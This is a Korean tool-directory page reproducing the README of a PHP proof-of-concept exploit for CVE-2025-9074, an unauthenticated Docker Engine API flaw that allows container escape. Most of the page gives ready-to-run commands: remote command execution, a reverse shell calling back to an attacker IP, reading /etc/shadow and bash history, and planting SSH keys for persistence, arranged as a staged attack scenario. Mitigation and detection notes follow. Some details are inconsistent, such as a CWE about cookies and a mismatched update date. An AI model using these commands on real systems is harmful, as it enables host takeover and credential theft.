Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-9074 — CVE-2025-9074용 PHP poc, 익스플로잇 | Kitploit
도구/GitHubGitHub/c0gnit00/cve-2025-9074
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationLateral MovementPost-ExploitationPenetration TestingCloud SecurityCommand and ControlRemote Access ToolContainer Escape
63개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
c0gnit00/cve-2025-9074

CVE-2025-9074

CVE-2025-9074용 PHP poc, 익스플로잇

저장소 보기

CVE-2025-9074: Docker Engine API 무인증 원격 코드 실행 (RCE)

심각도: CRITICAL | CVSS 점수: 9.8 (추정) | 영향받는 버전: Docker Desktop < 4.44.3

CVE-2025-9074에 대한 개념 증명(POC) 익스플로잇으로, Docker Engine API의 무인증 원격 코드 실행(RCE) 취약점을 통해 권한 있는 컨테이너 탈출과 호스트 시스템 장악을 허용합니다.

🔴 취약점 개요

CVE-2025-9074는 적절한 인증이나 네트워크 격리 없이 Docker Engine API를 노출하는 Docker Desktop의 치명적인 취약점입니다. 이를 통해 원격 공격자는 다음을 수행할 수 있습니다:

  • 승격된 권한으로 임의의 명령 실행
  • 컨테이너 격리를 탈출하여 호스트 파일시스템에 접근
  • 공격자가 제어하는 시스템으로 리버스 셸 연결 설정
  • 전체 컨테이너 호스트 및 기본 호스트 OS 장악

공격 벡터

  • 네트워크 노출: 네트워크 인터페이스에 노출된 Docker API (일반적으로 2375/TCP 포트)
  • 인증 없음: API가 인증 없이 요청을 수락함
  • 권한 있는 컨테이너: 호스트 파일시스템 접근이 가능한 권한 있는 컨테이너 생성
  • 바인드 마운트: 바인드 마운트 경로를 통한 호스트 파일시스템 직접 접근

📋 요구 사항

  • PHP CLI (7.0+)
  • PHP에서 curl 확장 활성화
  • 노출된 Docker API 엔드포인트에 대한 네트워크 연결
  • Docker Desktop < 4.44.3 (취약한 버전)

대상 시스템 요구 사항

이 취약점은 다음에 영향을 미칩니다:

  • Docker Desktop for Windows < 4.44.3
  • Docker Desktop for Mac < 4.44.3
  • Docker Engine (TLS 없이 노출된 경우)

🚀 빠른 시작

설치

root@kitploit:~
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

기본 사용법

Docker 호스트에서 단일 명령을 실행합니다:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

리버스 셸

대화형 리버스 셸을 설정합니다:

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 사용 가이드

명령 구문

root@kitploit:~
php poc.php -u <url> [options]

옵션

모드: 명령 실행

대상에서 단일 명령을 실행합니다:

root@kitploit:~
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

모드: 리버스 셸

콜백을 사용하여 대화형 셸을 생성합니다:

root@kitploit:~
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

OS별 예제

Linux 대상

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

Windows 대상

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

macOS 대상

root@kitploit:~
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 실제 공격 시나리오

1. 정찰

root@kitploit:~
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. 자격 증명 수집

root@kitploit:~
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. 지속성

root@kitploit:~
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. 횡적 이동

root@kitploit:~
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 기술적 세부 사항

취약점 메커니즘

  1. 노출된 Docker 소켓/API: Docker API가 인증 없이 0.0.0.0:2375에서 수신 대기
  2. 권한 있는 컨테이너 생성: POC가 /containers/create를 통해 권한 있는 컨테이너 생성
  3. 호스트 파일시스템 바인딩: 컨테이너가 바인드 마운트를 사용하여 호스트 파일시스템에 접근:
    • Linux: /:/mnt/hostfs
    • macOS: /:/mnt/hostfs
    • Windows: /mnt/host/c:/mnt/hostfs
  4. 명령 실행: 컨테이너 내부에서 root/SYSTEM 권한으로 명령 실행
  5. 호스트 파일시스템 접근: /mnt/hostfs 경로에 대한 직접 읽기/쓰기 접근

페이로드 흐름

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine)                               │
└────────────┬────────────────────────────────────────┘
             │ HTTP REST API Call
             ▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED]     │
└────────────┬────────────────────────────────────────┘
             │ Creates Container
             ▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container                          │
│ ├─ Full Root Access                                 │
│ ├─ Bind Mount: /:/mnt/hostfs                       │
│ └─ Executes Attacker Command                        │
└────────────┬────────────────────────────────────────┘
             │ Command Output
             ▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker                          │
└─────────────────────────────────────────────────────┘

코드 분석

  • Docker API 상호 작용: HTTP/1.1 REST API 통신에 cURL 사용
  • Docker 로그 디멀티플렉싱: Docker의 다중화된 스트림 형식을 올바르게 처리
  • 크로스 플랫폼 지원: Windows/Mac/Linux에 맞게 바인드 마운트 경로 변환
  • 타임아웃 처리: 장기 실행 명령을 위한 60초 타임아웃

🛡️ 완화 방안

즉시 조치

  1. Docker Desktop 업그레이드

    root@kitploit:~
    # Update to version 4.44.3 or later
    
  2. 네트워크 격리

    • Docker API 포트(2375)를 localhost로만 제한
    • 방화벽 규칙으로 외부 접근 차단
    • Docker API 소켓 노출 비활성화
  3. TLS 인증 활성화

    root@kitploit:~
    # Configure Docker daemon with TLS certificates
    # In daemon.json:
    {
      "tlsverify": true,
      "tlscacert": "/etc/docker/ca.pem",
      "tlscert": "/etc/docker/server-cert.pem",
      "tlskey": "/etc/docker/server-key.pem"
    }
    
  4. 네트워크 분할

    • 격리된 네트워크에서 Docker Desktop 실행
    • 제로 트러스트 네트워크 액세스 구현
    • 원격 접근에 VPN 사용

Docker Desktop 설정

  • Windows/Mac: "Expose daemon on tcp://localhost:2375" 옵션 비활성화
  • 로컬 접근 전용으로 Unix 소켓(/var/run/docker.sock) 사용
  • 자격 증명이 있는 Docker Context를 통한 인증 구현

📊 탐지

네트워크 탐지

root@kitploit:~
# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network

# Check if port responds to Docker API
curl -s http://target:2375/version

로그 탐지

  • 비정상적인 API 호출에 대해 Docker 데몬 로그 모니터링
  • 권한 있는 컨테이너 생성 시 경고
  • 바인드 마운트 사용 패턴 추적

⚠️ 면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다.

  • 소유한 시스템이나 명시적 테스트 허가를 받은 시스템에서만 이 POC를 사용하십시오
  • 컴퓨터 시스템에 대한 무단 접근은 불법입니다
  • 사용자는 자신의 행동에 대한 모든 책임을 집니다
  • 이 POC는 공인된 침투 테스트 및 취약점 연구를 위한 것입니다

📝 참고 자료

  • Docker Engine 보안
  • Docker API 문서
  • CVE-2025-9074 상세 정보
  • CWE-784: 적절한 검증 없는 쿠키 의존

🤝 기여

기여는 언제나 환영합니다! 이슈를 제출하거나 풀 리퀘스트를 보내 주세요.

📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하십시오.

👤 작성자

보안 연구원 | 침투 테스터


마지막 업데이트: 2025년 5월 | 상태: 활발한 연구 중

도구 다운로드
옵션단축필수설명
--url-u✅ 예Docker API URL (예: http://1.2.3.4:2375)
--mode-m❌ 아니요실행 모드: cmd 또는 reverse (기본값: cmd)
--cmd-c⚠️ cmd 모드에서대상에서 실행할 명령
--lhost-l⚠️ reverse 모드에서콜백에 사용할 IP 주소
--lport-p❌ 아니요리스닝 포트 (기본값: 4444)
--os—❌ 아니요대상 OS: linux, mac, windows (기본값: linux)
--cleanup—❌ 아니요실행 후 컨테이너 제거
--help-h❌ 아니요도움말 메시지 표시